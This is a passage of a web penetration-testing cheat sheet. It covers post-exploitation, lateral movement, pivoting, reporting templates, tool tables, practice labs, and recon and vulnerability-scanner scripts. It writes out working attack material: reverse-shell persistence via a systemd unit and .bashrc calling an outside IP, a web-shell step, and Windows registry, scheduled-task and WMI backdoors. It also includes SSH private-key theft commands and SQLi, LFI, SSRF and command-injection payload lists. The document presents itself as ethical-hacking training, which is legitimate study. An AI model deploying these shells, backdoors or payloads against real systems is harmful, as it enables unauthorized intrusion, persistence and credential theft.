EOF\n[Unit]\nDescription=Persistence\n\n[Service]\nType=simple\nExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'\nRestart=always\n\n[Install]\nWantedBy=multi-user.target\nEOF\n\nsystemctl enable persistence.service\nsystemctl start persistence.service\n\n# .bashrc\necho 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 &' >> ~/.bashrc\n\n# Web shell\necho '' > /var/www/html/shell.php\n```\n\n#### Windows Persistence\n```powershell\n# Registry\nNew-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"Backdoor\" -Value \"C:\\shell.exe\"\n\n# Scheduled task\nschtasks /create /tn \"Backdoor\" /tr \"C:\\shell.exe\" /sc onlogon /ru SYSTEM\n\n# Startup folder\ncopy shell.exe \"C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\"\n\n# WMI persistence\n$filter = ([wmiclass]\"\\\\.\\root\\subscription:__EventFilter\").CreateInstance()\n$filter.QueryLanguage = \"WQL\"\n$filter.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\"\n$filter.Name = \"Backdoor\"\n$filter.EventNamespace = 'root\\cimv2'\n$result = $filter.Put()\n\n$consumer = ([wmiclass]\"\\\\.\\root\\subscription:CommandLineEventConsumer\").CreateInstance()\n$consumer.Name = 'BackdoorConsumer'\n$consumer.CommandLineTemplate = \"C:\\shell.exe\"\n$result = $consumer.Put()\n\n# Service\nsc.exe create Backdoor binPath= \"C:\\shell.exe\" start= auto\nsc.exe start Backdoor\n```\n\n### Lateral Movement\n\n#### SSH\n```bash\n# SSH key stealing\nfind / -name \"id_rsa\" 2>/dev/null\ncat ~/.ssh/id_rsa\n\n# SSH agent forwarding\nssh -A user@target.com\n\n# SSH tunneling\nssh -L 8080:localhost:80 user@target.com    # Local forward\nssh -R 8080:localhost:80 user@target.com    # Remote forward\nssh -D 1080 user@target.com                  # Dynamic proxy\n```\n\n#### Windows Lateral Movement\n```powershell\n# PSExec\n.\\PsExec.exe \\\\target -u user -p pass cmd.exe\n\n# WinRM\nEnter-PSSession -ComputerName target -Credential $cred\nInvoke-Command -ComputerName target -ScriptBlock {whoami} -Credential $cred\n\n# WMI\nwmic /node:target /user:user /password:pass process call create \"cmd.exe\"\n\n# SMB\nnet use \\\\target\\c$ /user:user pass\ncopy shell.exe \\\\target\\c$\\Windows\\Temp\\\n```\n\n### Pivoting\n\n#### SSH Pivoting\n```bash\n# Local port forwarding\nssh -L 8080:internal-server:80 user@pivot-host\n\n# Remote port forwarding\nssh -R 8080:localhost:80 user@pivot-host\n\n# Dynamic SOCKS proxy\nssh -D 1080 user@pivot-host\n\n# SSH tunneling with ProxyCommand\nssh -o ProxyCommand=\"ssh -W %h:%p user@pivot-host\" target\n```\n\n#### SOCKS Proxies\n```bash\n# Using proxychains\necho \"socks4 127.0.0.1 1080\" >> /etc/proxychains.conf\nproxychains nmap -sT -Pn target\n\n# Using chisel\n# Server (attacker)\n./chisel server -p 8000 --reverse\n# Client (pivot)\n./chisel client attacker:8000 R:socks\n\n# Using EarthWorm\n./ew -s ssocksd -l 1080\n```\n\n#### Port Forwarding\n```bash\n# Linux\n# SSH forwarding\nssh -L 8080:localhost:80 user@pivot\n\n# Netcat forwarding\nmkfifo /tmp/fifo\nnc -l -p 8080 < /tmp/fifo | nc target 80 > /tmp/fifo\n\n# Socat forwarding\nsocat TCP-LISTEN:8080,fork TCP:target:80\n\n# Windows\n# netsh port forwarding\nnetsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=target\n```\n\n---\n\n## Reporting\n\n### Report Structure\n\n#### Executive Summary\n```\nEXECUTIVE SUMMARY\n=================\n- Overview of engagement\n- Key findings (high-level)\n- Risk ratings\n- Business impact\n- Strategic recommendations\n- Scope and methodology summary\n```\n\n#### Technical Details\n```\nTECHNICAL FINDINGS\n==================\nFinding #1: [Title]\n- Severity: Critical/High/Medium/Low/Info\n- CVSS Score: X.X (Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n- CWE: CWE-89\n- CVE: CVE-2024-XXXX (if applicable)\n- Affected Component: /path/to/vulnerable/endpoint\n- Description: Detailed description of the vulnerability\n- Impact: What an attacker can achieve\n- Evidence: Proof of concept, screenshots, request/response\n- Remediation: How to fix the issue\n- References: Links to documentation, CVEs, etc.\n```\n\n#### Remediation Recommendations\n```\nREMEDIATION GUIDELINES\n======================\nShort-term fixes:\n1. [Immediate actions]\n\nLong-term solutions:\n1. [Architectural changes]\n\nSecurity controls to implement:\n1. [Preventive controls]\n2. [Detective controls]\n3. [Corrective controls]\n```\n\n### Reporting Tools\n\n#### Dradis Framework\n```bash\n# Install\ngem install dradis\n\n# Start\ndradis start\n\n# Web interface at https://localhost:3000\n```\n\n#### Serpico\n```bash\n# Install\ngit clone https://github.com/SerpicoProject/Serpico.git\ncd Serpico\nbundle install\nruby serpico.rb\n```\n\n#### Pwndoc\n```bash\n# Docker\ndocker run -p 4242:4242 pwndoc/pwndoc\n```\n\n### Report Templates\n\n#### Markdown Template\n```markdown\n# Penetration Test Report\n\n## 1. Executive Summary\n[1-2 paragraphs describing the engagement and key findings]\n\n**Total Findings:** X\n- Critical: X\n- High: X\n- Medium: X\n- Low: X\n- Informational: X\n\n## 2. Scope\n- In-scope: [domains, IP ranges, applications]\n- Out-of-scope: [excluded items]\n- Testing dates: [start date] to [end date]\n\n## 3. Methodology\n- Phase 1: Reconnaissance\n- Phase 2: Scanning & Enumeration\n- Phase 3: Vulnerability Assessment\n- Phase 4: Exploitation\n- Phase 5: Post-Exploitation\n- Phase 6: Reporting\n\n## 4. Findings\n\n### 4.1 [Finding Title]\n**Severity:** Critical/High/Medium/Low/Info\n**CVSS:** X.X (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n**CWE:** CWE-89\n**Affected Component:** [URL/path]\n\n**Description:**\n[Detailed description]\n\n**Impact:**\n[What an attacker can achieve]\n\n**Evidence:**\n```\nRequest:\nGET /vulnerable.php?id=1' UNION SELECT 1,2,3--\n\nResponse:\n{\"id\":1,\"name\":\"admin\",\"email\":\"admin@localhost\"}\n```\n\n**Screenshot:**\n![Evidence](screenshots/finding1.png)\n\n**Remediation:**\n[Step-by-step fix]\n\n**References:**\n- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n- [CWE-89](https://cwe.mitre.org/data/definitions/89.html)\n\n## 5. Remediation Summary\n\n| Priority | Finding | Difficulty | Estimated Time |\n|----------|---------|------------|----------------|\n| Critical | SQL Injection | Medium | 2 hours |\n| High | XSS | Easy | 1 hour |\n| Medium | Missing HSTS | Easy | 30 minutes |\n\n## 6. Appendix\n- A. Tools Used\n- B. Wordlists\n- C. Raw Scan Results\n```\n\n#### Python Report Generator\n```python\n#!/usr/bin/env python3\n# report_generator.py\n\nimport json\nimport datetime\nfrom jinja2 import Template\n\nclass PentestReport:\n    def __init__(self, target, tester, date=None):\n        self.target = target\n        self.tester = tester\n        self.date = date or datetime.datetime.now().strftime(\"%Y-%m-%d\")\n        self.findings = []\n        self.scope = {}\n        self.summary = {}\n    \n    def add_finding(self, finding):\n        self.findings.append(finding)\n    \n    def generate_summary(self):\n        severity_counts = {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"info\": 0}\n        for f in self.findings:\n            severity_counts[f.get(\"severity\", \"info\").lower()] += 1\n        self.summary = severity_counts\n        return severity_counts\n    \n    def to_markdown(self):\n        template = Template(\"\"\"\n# Penetration Test Report: {{ target }}\n\n## Executive Summary\n**Date:** {{ date }}\n**Tester:** {{ tester }}\n\n### Summary of Findings\n- Critical: {{ summary.critical }}\n- High: {{ summary.high }}\n- Medium: {{ summary.medium }}\n- Low: {{ summary.low }}\n- Info: {{ summary.info }}\n\n## Findings\n{% for finding in findings %}\n### {{ loop.index }}. {{ finding.title }}\n**Severity:** {{ finding.severity }}\n**CVSS:** {{ finding.cvss }}\n**Affected:** {{ finding.affected }}\n\n**Description:**\n{{ finding.description }}\n\n**Impact:**\n{{ finding.impact }}\n\n**Evidence:**\n```\n{{ finding.evidence }}\n```\n\n**Remediation:**\n{{ finding.remediation }}\n\n**References:**\n{% for ref in finding.references %}\n- {{ ref }}\n{% endfor %}\n\n---\n{% endfor %}\n        \"\"\")\n        \n        self.generate_summary()\n        return template.render(\n            target=self.target,\n            tester=self.tester,\n            date=self.date,\n            summary=self.summary,\n            findings=self.findings\n        )\n    \n    def to_json(self):\n        self.generate_summary()\n        return json.dumps({\n            \"metadata\": {\n                \"target\": self.target,\n                \"tester\": self.tester,\n                \"date\": self.date\n            },\n            \"summary\": self.summary,\n            \"findings\": self.findings\n        }, indent=2)\n\n# Example usage\nif __name__ == \"__main__\":\n    report = PentestReport(\"target.com\", \"awjunaid\")\n    \n    report.add_finding({\n        \"title\": \"SQL Injection in Login\",\n        \"severity\": \"critical\",\n        \"cvss\": \"9.8\",\n        \"affected\": \"/login\",\n        \"description\": \"The username parameter is vulnerable to SQL injection...\",\n        \"impact\": \"Attacker can bypass authentication and access all user data\",\n        \"evidence\": \"username=admin' OR '1'='1'--\",\n        \"remediation\": \"Use parameterized queries\",\n        \"references\": [\"https://owasp.org/SQLi\"]\n    })\n    \n    with open(\"report.md\", \"w\") as f:\n        f.write(report.to_markdown())\n    \n    with open(\"report.json\", \"w\") as f:\n        f.write(report.to_json())\n```\n\n---\n\n## Tools Reference\n\n### Comprehensive Tool List\n\n#### Reconnaissance\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Amass** | Subdomain enumeration | `amass enum -d target.com` |\n| **Sublist3r** | Subdomain discovery | `sublist3r -d target.com` |\n| **theHarvester** | OSINT gathering | `theHarvester -d target.com -b all` |\n| **dnsrecon** | DNS enumeration | `dnsrecon -d target.com` |\n| **massdns** | High-performance DNS | `massdns -r lists/resolvers.txt -t A domains.txt` |\n| **shodan** | Internet device search | `shodan search hostname:target.com` |\n| **censys** | Certificate search | `censys search target.com` |\n\n#### Scanning\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Nmap** | Port scanning | `nmap -sV -sC target.com` |\n| **Masscan** | High-speed scanning | `masscan -p1-65535 --rate=10000 target.com` |\n| **Rustscan** | Fast port scanner | `rustscan -a target.com` |\n| **Naabu** | Port scanning | `naabu -host target.com` |\n| **Httpx** | HTTP probing | `httpx -l hosts.txt -title -tech-detect` |\n\n#### Web Enumeration\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Gobuster** | Directory brute force | `gobuster dir -u target.com -w wordlist.txt` |\n| **FFUF** | Web fuzzing | `ffuf -u target.com/FUZZ -w wordlist.txt` |\n| **Dirb** | Directory scanner | `dirb http://target.com` |\n| **Wfuzz** | Web fuzzer | `wfuzz -c -z file,wordlist.txt target.com/FUZZ` |\n| **Nikto** | Web vulnerability scanner | `nikto -h target.com` |\n| **WhatWeb** | Technology detection | `whatweb target.com` |\n| **WPScan** | WordPress scanner | `wpscan --url target.com` |\n| **Joomscan** | Joomla scanner | `joomscan -u target.com` |\n| **Droopescan** | Drupal scanner | `droopescan scan drupal -u target.com` |\n\n#### Vulnerability Assessment\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Nuclei** | Template-based scanner | `nuclei -u target.com` |\n| **OpenVAS** | Vulnerability scanner | `gvm-start` |\n| **Nessus** | Commercial scanner | `nessuscli scan new` |\n| **Wapiti** | Web vulnerability scanner | `wapiti -u https://target.com` |\n| **Arachni** | Web scanner | `arachni https://target.com` |\n\n#### Exploitation\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Metasploit** | Exploitation framework | `msfconsole` |\n| **SQLmap** | SQL injection | `sqlmap -u target.com?id=1` |\n| **Commix** | Command injection | `commix -u target.com?cmd=test` |\n| **BeEF** | Browser exploitation | `beef` |\n| **XSStrike** | XSS scanner | `xsstrike -u target.com?q=test` |\n| **Dalfox** | XSS scanner | `dalfox url target.com?p=test` |\n\n#### Password Attacks\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Hydra** | Online brute force | `hydra -l admin -P pass.txt target.com http-post-form` |\n| **Medusa** | Parallel brute force | `medusa -h target.com -U users.txt -P pass.txt -M http` |\n| **John** | Offline password cracker | `john --wordlist=rockyou.txt hash.txt` |\n| **Hashcat** | GPU password cracker | `hashcat -m 0 -a 0 hash.txt rockyou.txt` |\n| **CeWL** | Custom wordlist generator | `cewl https://target.com -w wordlist.txt` |\n\n#### Post-Exploitation\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **LinPEAS** | Linux privilege escalation | `./linpeas.sh` |\n| **WinPEAS** | Windows privilege escalation | `.\\winPEAS.exe` |\n| **Impacket** | Network protocols | `psexec.py user:pass@target` |\n| **Mimikatz** | Credential dumping | `mimikatz.exe` |\n| **BloodHound** | Active Directory mapping | `bloodhound-python -u user -p pass -d domain.local` |\n\n#### Proxies & Interception\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Burp Suite** | Web proxy | Start from Applications menu |\n| **ZAP** | Web proxy | `zaproxy` |\n| **Mitmproxy** | CLI proxy | `mitmproxy` |\n| **Proxychains** | Proxy chaining | `proxychains nmap target.com` |\n\n#### Wordlists\n| Wordlist | Location | Description |\n|----------|----------|-------------|\n| **rockyou.txt** | `/usr/share/wordlists/rockyou.txt` | Common passwords |\n| **SecLists** | `/usr/share/seclists` | Comprehensive wordlists |\n| **dirb common** | `/usr/share/wordlists/dirb/common.txt` | Common directories |\n| **dirbuster** | `/usr/share/wordlists/dirbuster` | Directory lists |\n| **fuzzdb** | `/usr/share/fuzzdb` | Attack payloads |\n\n---\n\n## Practice Labs & Resources\n\n### Online Platforms\n\n#### Free Labs\n| Platform | URL | Description |\n|----------|-----|-------------|\n| **PortSwigger Web Security Academy** | https://portswigger.net/web-security | Free XSS, SQLi, SSRF labs |\n| **OWASP WebGoat** | https://github.com/WebGoat/WebGoat | Vulnerable web app |\n| **OWASP Juice Shop** | https://github.com/juice-shop/juice-shop | Modern vulnerable app |\n| **DVWA** | http://www.dvwa.co.uk/ | Damn Vulnerable Web App |\n| **bWAPP** | http://www.itsecgames.com/ | Buggy web app |\n| **Mutillidae** | https://github.com/webpwnized/mutillidae | OWASP Mutillidae II |\n\n#### Paid/Subscription Labs\n| Platform | URL | Description |\n|----------|-----|-------------|\n| **HackTheBox** | https://www.hackthebox.com | Realistic machines |\n| **TryHackMe** | https://tryhackme.com | Guided learning |\n| **PentesterLab** | https://pentesterlab.com | Hands-on exercises |\n| **PentesterAcademy** | https://www.pentesteracademy.com | Video courses |\n| **Offensive Security Proving Grounds** | https://www.offensive-security.com/labs/ | OSCP practice |\n| **VulnHub** | https://www.vulnhub.com | Downloadable VMs |\n\n### CTF Platforms\n| Platform | URL | Focus |\n|----------|-----|-------|\n| **CTFtime** | https://ctftime.org | CTF calendar & rankings |\n| **PicoCTF** | https://picoctf.org | Beginner-friendly |\n| **OverTheWire** | https://overthewire.org | WarGames |\n| **RingZer0** | https://ringzer0ctf.com | CTF challenges |\n| **Hacker101** | https://www.hacker101.com | Bug bounty training |\n\n### Bug Bounty Platforms\n| Platform | URL |\n|----------|-----|\n| **HackerOne** | https://www.hackerone.com |\n| **Bugcrowd** | https://www.bugcrowd.com |\n| **Intigriti** | https://www.intigriti.com |\n| **YesWeHack** | https://www.yeswehack.com |\n| **Synack** | https://www.synack.com |\n\n### Reference Materials\n\n#### Books\n| Title | Author | Focus |\n|-------|--------|-------|\n| **The Web Application Hacker's Handbook** | Stuttard & Pinto | Web app testing |\n| **OWASP Testing Guide** | OWASP | Comprehensive methodology |\n| **Penetration Testing: A Hands-On Introduction** | Georgia Weidman | General pentesting |\n| **Red Team Field Manual** | Ben Clark | Quick reference |\n| **Blue Team Field Manual** | Alan White | Defense reference |\n| **Hacking: The Art of Exploitation** | Jon Erickson | Technical deep dive |\n\n#### Online Resources\n| Resource | URL | Focus |\n|----------|-----|-------|\n| **OWASP** | https://owasp.org | Web security |\n| **HackTricks** | https://book.hacktricks.xyz | Pentesting techniques |\n| **PayloadsAllTheThings** | https://github.com/swisskyrepo/PayloadsAllTheThings | Payload collection |\n| **GTFOBins** | https://gtfobins.github.io | Linux binary exploitation |\n| **LOLBAS** | https://lolbas-project.github.io | Windows binary exploitation |\n| **Exploit-DB** | https://www.exploit-db.com | Exploit database |\n| **CVE Details** | https://www.cvedetails.com | CVE database |\n| **MITRE ATT&CK** | https://attack.mitre.org | Adversary tactics |\n\n### YouTube Channels\n| Channel | Focus |\n|---------|-------|\n| **IppSec** | HackTheBox walkthroughs |\n| **The Cyber Mentor** | Pentesting tutorials |\n| **ST\u00d6K** | Bug bounty |\n| **HackerSploit** | Security tutorials |\n| **John Hammond** | CTF walkthroughs |\n| **LiveOverflow** | Technical deep dives |\n\n### Certifications\n| Certification | Provider | Focus |\n|---------------|----------|-------|\n| **OSCP** | Offensive Security | Hands-on pentesting |\n| **OSWP** | Offensive Security | Wireless pentesting |\n| **OSWE** | Offensive Security | Web app pentesting |\n| **OSEP** | Offensive Security | Advanced evasion |\n| **CEH** | EC-Council | Ethical hacking |\n| **eWPT** | eLearnSecurity | Web pentesting |\n| **eCPPT** | eLearnSecurity | Network pentesting |\n| **PNPT** | TCM Security | Practical pentesting |\n| **GPEN** | GIAC | Network pentesting |\n| **GWAPT** | GIAC | Web app pentesting |\n| **CISSP** | ISC\u00b2 | Security management |\n\n---\n\n## Sample Scripts\n\n### Complete Reconnaissance Script\n\n```bash\n#!/bin/bash\n# recon.sh - Complete reconnaissance script\n# Usage: ./recon.sh target.com\n\nTARGET=\"$1\"\nOUTDIR=\"recon_${TARGET}_$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$OUTDIR\"\ncd \"$OUTDIR\"\n\necho \"[*] Starting reconnaissance against $TARGET\"\necho \"[*] Output directory: $OUTDIR\"\n\n# 1. WHOIS\necho \"[*] WHOIS lookup...\"\nwhois \"$TARGET\" > whois.txt 2>&1\n\n# 2. DNS enumeration\necho \"[*] DNS enumeration...\"\ndig \"$TARGET\" ANY +noall +answer > dns_any.txt\ndig \"$TARGET\" MX +short > dns_mx.txt\ndig \"$TARGET\" NS +short > dns_ns.txt\ndig \"$TARGET\" TXT +short > dns_txt.txt\n\n# Zone transfer attempt\nfor ns in $(cat dns_ns.txt); do\n    echo \"[*] Attempting zone transfer from $ns\"\n    dig AXFR \"$TARGET\" \"@$ns\" >> zonetransfer.txt 2>&1\ndone\n\n# 3. Subdomain enumeration\necho \"[*] Subdomain enumeration...\"\nsublist3r -d \"$TARGET\" -o sublist3r.txt > /dev/null 2>&1\namass enum -passive -d \"$TARGET\" -o amass.txt > /dev/null 2>&1\ncat sublist3r.txt amass.txt 2>/dev/null | sort -u > subdomains.txt\n\n# 4. HTTP probing\necho \"[*] HTTP probing...\"\nif [ -f subdomains.txt ]; then\n    httpx -l subdomains.txt -title -tech-detect -status-code -o httpx.txt\nfi\n\n# 5. Technology detection\necho \"[*] Technology detection...\"\nwhatweb \"https://$TARGET\" --log-json=whatweb.json > /dev/null 2>&1\nwafw00f \"https://$TARGET\" > waf.txt 2>&1\n\n# 6. HTTP headers\necho \"[*] HTTP headers...\"\ncurl -sI \"https://$TARGET\" > headers.txt\n\n# 7. robots.txt & sitemap\necho \"[*] robots.txt and sitemap...\"\ncurl -s \"https://$TARGET/robots.txt\" > robots.txt\ncurl -s \"https://$TARGET/sitemap.xml\" > sitemap.xml\n\n# 8. Wayback URLs\necho \"[*] Wayback Machine URLs...\"\nwaybackurls \"$TARGET\" > wayback.txt\ngrep \"=\" wayback.txt > wayback_params.txt\n\n# 9. Port scanning (quick)\necho \"[*] Quick port scan...\"\nnmap -T4 -F --open -oN nmap_quick.txt \"$TARGET\"\n\n# 10. Generate report\necho \"[*] Generating report...\"\ncat > report.md << EOF\n# Reconnaissance Report: $TARGET\n\n## Date\n$(date)\n\n## WHOIS Summary\n\\`\\`\\`\n$(head -20 whois.txt)\n\\`\\`\\`\n\n## DNS Records\n### Name Servers\n$(cat dns_ns.txt)\n\n### Mail Servers\n$(cat dns_mx.txt)\n\n### TXT Records\n$(cat dns_txt.txt)\n\n## Subdomains Found\n$(wc -l subdomains.txt 2>/dev/null || echo \"0\") subdomains found\n\\`\\`\\`\n$(head -20 subdomains.txt 2>/dev/null)\n\\`\\`\\`\n\n## Technologies Detected\n\\`\\`\\`\n$(cat whatweb.json 2>/dev/null | jq -r '.[] | \"\\(.plugin): \\(.version // \"unknown\")\"' 2>/dev/null)\n\\`\\`\\`\n\n## Security Headers\n\\`\\`\\`\n$(cat headers.txt)\n\\`\\`\\`\n\n## Open Ports\n\\`\\`\\`\n$(grep \"open\" nmap_quick.txt 2>/dev/null | head -20)\n\\`\\`\\`\n\n## Interesting URLs from Wayback\n\\`\\`\\`\n$(head -20 wayback_params.txt 2>/dev/null)\n\\`\\`\\`\nEOF\n\necho \"[+] Recon complete! Results in $OUTDIR\"\necho \"[+] Report: $OUTDIR/report.md\"\n```\n\n### Web Vulnerability Scanner\n\n```python\n#!/usr/bin/env python3\n# web_scanner.py - Multi-vulnerability web scanner\n# Usage: python3 web_scanner.py -u https://target.com\n\nimport argparse\nimport requests\nimport urllib.parse\nimport re\nimport sys\nfrom concurrent.futures import ThreadPoolExecutor\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nclass WebScanner:\n    def __init__(self, base_url, threads=10, timeout=10):\n        self.base_url = base_url.rstrip('/')\n        self.threads = threads\n        self.timeout = timeout\n        self.session = requests.Session()\n        self.session.headers.update({\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) WebScanner/1.0'\n        })\n        self.session.verify = False\n        self.findings = []\n        \n        # Payloads\n        self.sqli_payloads = [\n            \"' OR '1'='1\",\n            \"' OR 1=1--\",\n            \"1' AND '1'='1\",\n            \"1' AND '1'='2\",\n            \"1' UNION SELECT NULL--\",\n            \"1' UNION SELECT NULL,NULL--\",\n            \"1' AND SLEEP(5)--\",\n            \"1' WAITFOR DELAY '00:00:05'--\"\n        ]\n        \n        self.xss_payloads = [\n            \"alert('XSS')\",\n            \"\",\n            \"\",\n            \"javascript:alert(1)\",\n            \"\\\">alert(1)\"\n        ]\n        \n        self.lfi_payloads = [\n            \"../../../etc/passwd\",\n            \"../../../../etc/passwd\",\n            \"..\\\\..\\\\..\\\\windows\\\\win.ini\",\n            \"../../../etc/passwd%00\",\n            \"../../../etc/passwd%00.png\"\n        ]\n        \n        self.ssrf_payloads = [\n            \"http://127.0.0.1/\",\n            \"http://localhost/\",\n            \"http://169.254.169.254/latest/meta-data/\",\n            \"http://[::1]/\",\n            \"file:///etc/passwd\"\n        ]\n        \n        self.cmdi_payloads = [\n            \"; id\",\n            \"| id\",\n            \"&& id\",\n            \"`id`\",\n            \"$(id)\",\n            \"; sleep 5\"\n        ]\n    \n    def discover_params(self):\n        \"\"\"Discover parameters from URL\"\"\"\n        parsed = urllib.parse.urlparse(self.base_url)\n        params = urllib.parse.parse_qs(parsed.query)\n        discovered = list(params.keys())\n        \n        # Common parameter names to test\n        common_params = ['id', 'page', 'file', 'url', 'path', 'q', 'search', \n                        'query', 'name', 'user', 'username', 'email', 'pass', \n                        'password', 'redirect', 'return', 'next', 'view', \n                        'action', 'cat', 'category']\n        \n        # Add common params if none discovered\n        if not discovered:\n            discovered = common_params\n        \n        return discovered\n    \n    def test_sqli(self, url, param):\n        \"\"\"Test SQL injection\"\"\"\n        for payload in self.sqli_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                start = time.time()\n                resp = self.session.get(test_url, timeout=self.timeout)\n                elapsed = time.time() - start\n                \n                # Check for time-based\n                if elapsed > 4 and 'sleep' in payload.lower():\n                    self.add_finding('SQLi', param, payload, 'Time-based blind')\n                    return\n                \n                # Check for error-based\n                if any(err in resp.text.lower() for err in \n                       ['sql', 'mysql', 'syntax error', 'ora-', 'microsoft ole db']):\n                    self.add_finding('SQLi', param, payload, 'Error-based')\n                    return\n                \n                # Check for boolean-based\n                true_payload = f\"1' AND '1'='1\"\n                false_payload = f\"1' AND '1'='2\"\n                \n                true_resp = self.session.get(f\"{url}?{param}={true_payload}\")\n                false_resp = self.session.get(f\"{url}?{param}={false_payload}\")\n                \n                if len(true_resp.text) != len(false_resp.text):\n                    self.add_finding('SQLi', param, 'Boolean-based', \n                                    'Different response lengths')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_xss(self, url, param):\n        \"\"\"Test Cross-Site Scripting\"\"\"\n        for payload in self.xss_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                resp = self.session.get(test_url, timeout=self.timeout)\n                \n                # Check if payload is reflected\n                if payload in resp.text or urllib.parse.quote(payload) in resp.text:\n                    self.add_finding('XSS', param, payload, 'Reflected')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_lfi(self, url, param):\n        \"\"\"Test Local File Inclusion\"\"\"\n        for payload in self.lfi_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                resp = self.session.get(test_url, timeout=self.timeout)\n                \n                # Check for file contents\n                if re.search(r'root:.*:0:0:|\\[extensions\\]|for 16-bit app', resp.text):\n                    self.add_finding('LFI', param, payload, 'File read')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_ssrf(self, url, param):\n        \"\"\"Test Server-Side Request Forgery\"\"\"\n        for payload in self.ssrf_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                resp = self.session.get(test_url, timeout=self.timeout)\n                \n                # Check for internal/cloud metadata\n                if re.search(r'ami-id|instance-id|localhost|root:', resp.text, re.I):\n                    self.add_finding('SSRF', param, payload, 'Internal access')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_cmdi(self, url, param):\n        \"\"\"Test Command Injection\"\"\"\n        for payload in self.cmdi_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                start = time.time()\n                resp = self.session.get(test_url, timeout=self.timeout)\n                elapsed = time.time() - start\n                \n                # Check for time-based\n                if elapsed > 4 and 'sleep' in payload:\n                    self.add_finding('Command Injection', param, payload, 'Time-based')\n                    return\n                \n                # Check for command output\n                if re.search(r'uid=\\d+|gid=\\d+|root:', resp.text):\n                    self.add_finding('Command Injection', param, payload, 'Command output')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def check_headers(self):\n        \"\"\"Check security headers\"\"\"\n        try:\n            resp = self.session.get(self.base_url, timeout=self.timeout)\n            headers = {k.lower(): v for k, v in resp.headers.items()}\n            \n            security_headers = {\n                'strict-transport-security': 'HSTS',\n                'content-security-policy': 'CSP',\n                'x-frame-options': 'X-Frame-Options',\n                'x-content-type-options': 'X-Content-Type-Options',\n                'x-xss-protection': 'X-XSS-Protection',\n                'referrer-policy': 'Referrer-Policy'\n            }\n            \n            missing = []\n            for header, name in security_headers.items():\n                if header not in headers:\n                    missing.append(name)\n            \n            if missing:\n                self.findings.append({\n                    'type': 'Missing Security Headers',\n                    'details': f\"Missing: {', '.join(missing)}\"\n                })\n                \n        except Exception as e:\n            print(f\"[-] Header check failed: {e}\")\n    \n    def add_finding(self, vuln_type, param, payload, details):\n        \"\"\"Add finding to results\"\"\"\n        finding = {\n            'type': vuln_type,\n            'parameter': param,\n            'payload': payload,\n            'details': details,\n            'url': self.base_url\n        }\n        self.findings.append(finding)\n        print(f\"[!] Found: {vuln_type} on parameter '{param}' - {details}\")\n    \n    def scan(self):\n        \"\"\"Main scan function\"\"\"\n        print(f\"[*] Starting scan on {self.base_url}\")\n        \n        # Discover parameters\n        params = self.discover_params()\n        print(f\"[*] Testing parameters: {', '.join(params)}\")\n        \n        # Check headers\n        self.check_headers()\n        \n        # Test each parameter\n        for param in params:\n            print(f\"[*] Testing parameter: {param}\")\n            \n            # Run all tests\n            self.test_sqli(self.base_url, param)\n            self.test_xss(self.base_url, param)\n            self.test_lfi(self.base_url, param)\n            self.test_ssrf(self.base_url, param)\n            self.test_cmdi(self.base_url, param)\n        \n        # Print summary\n        print(\"\\n\" + \"=\"*50)\n        print(\"SCAN SUMMARY\")\n        print(\"=\"*50)\n        print(f\"Total findings: {len(self.findings)}\")\n        \n        for i, finding in enumerate(self.findings, 1):\n            print(f\"\\n{i}. {finding['type']}\")\n            print(f\"   Parameter: {finding.get('parameter', 'N/A')}\")\n            print(f\"   Details: {finding['details']}\")\n\ndef main():\n    parser = argparse.ArgumentParser(description='Web Vulnerability Scanner')\n    parser.add_argument('-u', '--url', required=True, help='Target URL')\n    parser.add_argument('-t', '--threads', type=int, default=10, help='Threads')\n    parser.add_argument('--timeout', type=int, default=10, help='Timeout')\n    \n    args = parser.parse_args()\n    \n    scanner = WebScanner(args.url, args.threads, args.timeout)\n    scanner.scan()\n\nif __name__ == '__main__':\n    import time\n    main()\n```\n\n---\n\n## Conclusion\n\nThis comprehensive web penetration testing cheat sheet covers the essential tools, techniques, and methodologies for ethical hacking and security testing. Remember:\n\n### Key Principles\n1. **Always obtain proper authorization** before testing\n2. **Stay within scope** defined in the rules of engagement\n3. **Document everything** for evidence and reporting\n4. **Follow responsible disclosure** when finding vulnerabilities\n5. **Continuous learning** - the security landscape constantly evolves\n\n### Next Steps\n1. Set up a practice lab (DVWA, WebGoat, HackTheBox)\n2. Master the core tools (Burp Suite, Nmap, SQLmap)\n3. Learn programming (Python, Bash, JavaScript)\n4. Get certified (OSCP, PNPT, 